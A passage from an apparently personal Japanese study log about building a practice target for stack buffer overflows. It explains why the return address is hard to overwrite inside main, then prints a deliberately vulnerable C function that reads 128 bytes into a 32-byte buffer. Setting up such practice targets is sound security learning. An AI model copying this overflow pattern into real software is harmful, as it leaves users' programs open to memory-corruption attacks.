また、callした後のスタックの状態は以下のようになるので、ebpを変更せずにリターンアドレスを変更することはできない(ebpの整合性を保つような値で上書きすることは可能かな?)。 したがって、リターンアドレスがバッファオーバーフローで書き換えられていると、ebpが異常値になって正しくespを復帰させられなくなる。 その結果としてeipが書き換えられなくなっている。

stack
argn
arg1
return-address
saved-ebp
local-variable

解決策(?)

解決というか問題の再発というか、脆弱性を仕込むことができなければ練習できないので調べた。 幸いにも参考にしたページのコメントに解決できそうなやり方が載っていたので、ありがたく参考にさせてもらう。 このespの保存と復帰はmain関数でしか行なわれないらしいので、別の関数に脆弱性のある処理を書いてmainから呼べばいいらしい。

早速試す。 プログラムを書き換えて、以下のような感じにした。 main関数の中身を丸ごと取り出しただけで、処理は同じになる。

#include <stdio.h>

void vulnerable_func(){
  char buffer[32];  
  fgets(buffer, 128, stdin);
  return;
}

int main(int argc, char** argv){
  vulnerable_func();
  return 0;
}

gdbで実行し、50文字の文字列を入力するとeipが書き変わっているのを確認できた。 これで問題なく練習できるはず。